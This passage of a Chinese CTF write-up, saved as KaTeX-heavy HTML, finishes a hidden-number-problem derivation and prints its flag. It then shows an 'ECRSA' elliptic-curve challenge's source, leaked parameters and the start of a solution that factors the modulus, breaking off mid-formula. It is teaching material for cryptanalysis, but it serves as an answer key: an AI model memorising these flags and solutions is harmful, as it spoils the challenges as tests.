style="height:0.61528em;vertical-align:-0.15em;"></span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.02778em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">∗</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.66666em;vertical-align:-0.08333em;"></span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><br /><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi><mi>r</mi><msub><mi>r</mi><mn>2</mn></msub><mo>=</mo><mo stretchy="false">(</mo><mi>s</mi><mi>e</mi><mi>e</mi><mi>d</mi><mo>∗</mo><mi>a</mi><mo>+</mo><msub><mi>x</mi><mn>1</mn></msub><mo stretchy="false">)</mo><mo>∗</mo><mi>a</mi><mo>+</mo><msub><mi>x</mi><mn>2</mn></msub><mo separator="true">,</mo><msub><mi>x</mi><mn>2</mn></msub><mo>∈</mo><mo stretchy="false">[</mo><mo>−</mo><msup><mn>2</mn><mn>340</mn></msup><mo separator="true">,</mo><msup><mn>2</mn><mn>340</mn></msup><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">arr_2 = (seed * a + x_1) * a + x_2, x_2 \in [-2^{340}, 2^{340}]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.02778em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">s</span><span class="mord mathnormal">e</span><span class="mord mathnormal">e</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">∗</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.66666em;vertical-align:-0.08333em;"></span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">∗</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.66666em;vertical-align:-0.08333em;"></span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.7335400000000001em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1.064108em;vertical-align:-0.25em;"></span><span class="mopen">[</span><span class="mord">−</span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">3</span><span class="mord mtight">4</span><span class="mord mtight">0</span></span></span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">3</span><span class="mord mtight">4</span><span class="mord mtight">0</span></span></span></span></span></span></span></span></span><span class="mclose">]</span></span></span></span><br />此时<br /><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mfrac><mrow><mi>a</mi><mi>r</mi><msub><mi>r</mi><mn>2</mn></msub></mrow><mrow><mi>a</mi><mi>r</mi><msub><mi>r</mi><mn>1</mn></msub></mrow></mfrac><mo>=</mo><mfrac><mrow><mo stretchy="false">(</mo><mi>s</mi><mi>e</mi><mi>e</mi><mi>d</mi><mo>∗</mo><mi>a</mi><mo>+</mo><msub><mi>x</mi><mn>1</mn></msub><mo stretchy="false">)</mo><mo>∗</mo><mi>a</mi><mo>+</mo><msub><mi>x</mi><mn>2</mn></msub></mrow><mrow><mi>s</mi><mi>e</mi><mi>e</mi><mi>d</mi><mo>∗</mo><mi>a</mi><mo>+</mo><msub><mi>x</mi><mn>1</mn></msub></mrow></mfrac><mo>=</mo><mi>a</mi><mo>+</mo><mfrac><msub><mi>x</mi><mn>2</mn></msub><mrow><mi>s</mi><mi>e</mi><mi>e</mi><mi>d</mi><mo>∗</mo><mi>a</mi><mo>+</mo><msub><mi>x</mi><mn>1</mn></msub></mrow></mfrac></mrow><annotation encoding="application/x-tex">\frac{arr_2}{arr_1}=\frac{(seed * a + x_1) * a + x_2}{seed * a + x_1}=a+\frac{x_2}{seed * a + x_1}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.1565919999999998em;vertical-align:-0.44509999999999994em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7114919999999999em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31731428571428577em;"><span style="top:-2.357em;margin-left:-0.02778em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.4101em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31731428571428577em;"><span style="top:-2.357em;margin-left:-0.02778em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.44509999999999994em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1.4550999999999998em;vertical-align:-0.44509999999999994em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.01em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">s</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">d</span><span class="mbin mtight">∗</span><span class="mord mathnormal mtight">a</span><span class="mbin mtight">+</span><span class="mord mtight"><span class="mord mathnormal mtight">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31731428571428577em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.485em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mopen mtight">(</span><span class="mord mathnormal mtight">s</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">d</span><span class="mbin mtight">∗</span><span class="mord mathnormal mtight">a</span><span class="mbin mtight">+</span><span class="mord mtight"><span class="mord mathnormal mtight">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31731428571428577em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span><span class="mclose mtight">)</span><span class="mbin mtight">∗</span><span class="mord mathnormal mtight">a</span><span class="mbin mtight">+</span><span class="mord mtight"><span class="mord mathnormal mtight">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31731428571428577em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.44509999999999994em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.66666em;vertical-align:-0.08333em;"></span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.1565919999999998em;vertical-align:-0.44509999999999994em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7114919999999999em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">s</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">d</span><span class="mbin mtight">∗</span><span class="mord mathnormal mtight">a</span><span class="mbin mtight">+</span><span class="mord mtight"><span class="mord mathnormal mtight">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31731428571428577em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.4101em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31731428571428577em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.44509999999999994em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span><br />又因为<br /><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>s</mi><mi>e</mi><mi>e</mi><mi>d</mi><mo>=</mo><mi>r</mi><mi>a</mi><mi>n</mi><mi>d</mi><mi>i</mi><mi>n</mi><mi>t</mi><mo stretchy="false">(</mo><mn>1</mn><mo separator="true">,</mo><mi>n</mi><mo>−</mo><mn>1</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mi>n</mi><mo>&gt;</mo><msup><mn>2</mn><mn>360</mn></msup></mrow><annotation encoding="application/x-tex">seed=randint(1, n-1), n&gt;2^{360}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord mathnormal">s</span><span class="mord mathnormal">e</span><span class="mord mathnormal">e</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">a</span><span class="mord mathnormal">n</span><span class="mord mathnormal">d</span><span class="mord mathnormal">i</span><span class="mord mathnormal">n</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.8141079999999999em;vertical-align:0em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">3</span><span class="mord mtight">6</span><span class="mord mtight">0</span></span></span></span></span></span></span></span></span></span></span></span><br />所以，存在很大的可能，满足 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>s</mi><mi>e</mi><mi>e</mi><mi>d</mi><mo>&gt;</mo><msub><mi>x</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">seed &gt; x_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.73354em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">s</span><span class="mord mathnormal">e</span><span class="mord mathnormal">e</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><br />因此，基本上可以确定，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>s</mi><mi>e</mi><mi>e</mi><mi>d</mi><mo>∗</mo><mi>a</mi><mo>+</mo><msub><mi>x</mi><mn>1</mn></msub><mo>&gt;</mo><msub><mi>x</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">seed*a+x_1&gt;x_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord mathnormal">s</span><span class="mord mathnormal">e</span><span class="mord mathnormal">e</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">∗</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.66666em;vertical-align:-0.08333em;"></span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.6891em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，即<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mfrac><msub><mi>x</mi><mn>2</mn></msub><mrow><mi>s</mi><mi>e</mi><mi>e</mi><mi>d</mi><mo>∗</mo><mi>a</mi><mo>+</mo><msub><mi>x</mi><mn>1</mn></msub></mrow></mfrac><mo>&lt;</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">\frac{x_2}{seed * a + x_1}&lt;1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.1565919999999998em;vertical-align:-0.44509999999999994em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7114919999999999em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">s</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">d</span><span class="mbin mtight">∗</span><span class="mord mathnormal mtight">a</span><span class="mbin mtight">+</span><span class="mord mtight"><span class="mord mathnormal mtight">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31731428571428577em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.4101em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31731428571428577em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.44509999999999994em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">1</span></span></span></span></p><p>整除得到flag：</p><pre><code class="language-text">hgame{W0w_you_know_the_hidden_number_problem}</code></pre><h2 id="%5Bcrypto%5D-ecrsa" tabindex="-1">[CRYPTO] ECRSA</h2><p>本题题目代码如下：</p><pre><code class="language-python">from sage.all import *from sage.all_cmdline import *from Crypto.Util.number import *from secret import flagNbits = 512x = bytes_to_long(flag)f = open(&#39;./output&#39;, &#39;w&#39;)def gen_pubkey(Nbits):    p = getPrime(Nbits // 2)    q = getPrime(Nbits // 2)    n = p*q    while True:        a = getRandomInteger(Nbits // 2)        b = getRandomInteger(Nbits // 2)        if gcd(4*a**3 + 27*b**2, n) == 1:            break    E = EllipticCurve(Zmod(n), [a, b])    e = getPrime(64)    f.write(f&quot;p={p}\nq={q}\n&quot;)    return n, E, en, E, e = gen_pubkey(Nbits)pt = E.lift_x(Integer(x))ct = pt * ef.write(f&quot;n = {n}\na = {E.a4()}\nb = {E.a6()}\ne = {e}\n&quot;)f.write(f&quot;ciphertext = {long_to_bytes(int(ct.xy()[0]))}\n&quot;)</code></pre><p>已知信息：</p><pre><code class="language-python">p = 115192265954802311941399019598810724669437369433680905425676691661793518967453q = 109900879774346908739236130854229171067533592200824652124389936543716603840487# n = p * qn = 12659731371633323406361071735480743870942884407511647144758055911931321534333057725377899993936046070028289182446615763391740446071787318153462098556669611a = 34573016245861396068378040882622992245754693028152290874131112955018884485688b = 103282137133820948206682036569671566996381438254897510344289164039717355513886e = 11415307674045871669# ciphertext = b&#39;f\xb1\xae\x08&#96;\xe8\xeb\x14\x8a\x87\xd6\x18\x82\xaf1q\xe4\x84\xf0\x87\xde\xedF\x99\xe0\xf7\xdcH\x9ai\x04[\x8b\xbbHR\xd6\xa0\xa2B\x0e\xd4\xdbr\xcc\xad\x1e\xa6\xba\xad\xe9L\xde\x94\xa4\xffKP\xcc\x00\x907\xf3\xea&#39;cipher = 5378524437009518839112103581484521575801169404987837300959984214542709038676856596473597472098329866932106236703753833875049687476896652097889558230201322</code></pre><p>先将<code>ciphertext</code>转成<code>long</code>，这个是<code>*e</code>后的x坐标，现在需要求出y坐标，直接使用<code>lift_x</code>函数由于数值过大，无法计算，因此可以使用以下代码进行计算：</p><pre><code class="language-python">R.&lt;y&gt; = Zmod(n)[]f = x^3 + a*x + b - y^2print(f.roots())</code></pre><p>但是，由于<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>=</mo><mi>p</mi><mo>∗</mo><mi>q</mi></mrow><annotation encoding="application/x-tex">n=p*q</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.6597200000000001em;vertical-align:-0.19444em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">∗</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span></span></span></span>（p、q为素数），无法直接计算出结果，需要拆开计算。</p><p>构思的计算过程如下：<br /><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>y</mi><mn>2</mn></msup><mo>≡</mo><msup><mi>x</mi><mn>3</mn></msup><mo>+</mo><mi>a</mi><mi>x</mi><mo>+</mo><mi>b</mi><mtext> </mtext><mo stretchy="false">(</mo><mi>M</mi><mi>o</mi><mi>d</mi><mtext> </mtext><mi>n</mi><mo stretchy="false">)</mo><mo separator="true">,</mo><mi>n</mi><mo>=</mo><mi>p</mi><mo>∗</mo><mi>q</mi></mrow><annotation encoding="application/x-tex">y^2\equiv x^3+ax+b\ (Mod\ n), n=p*q</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.008548em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.897438em;vertical-align:-0.08333em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span 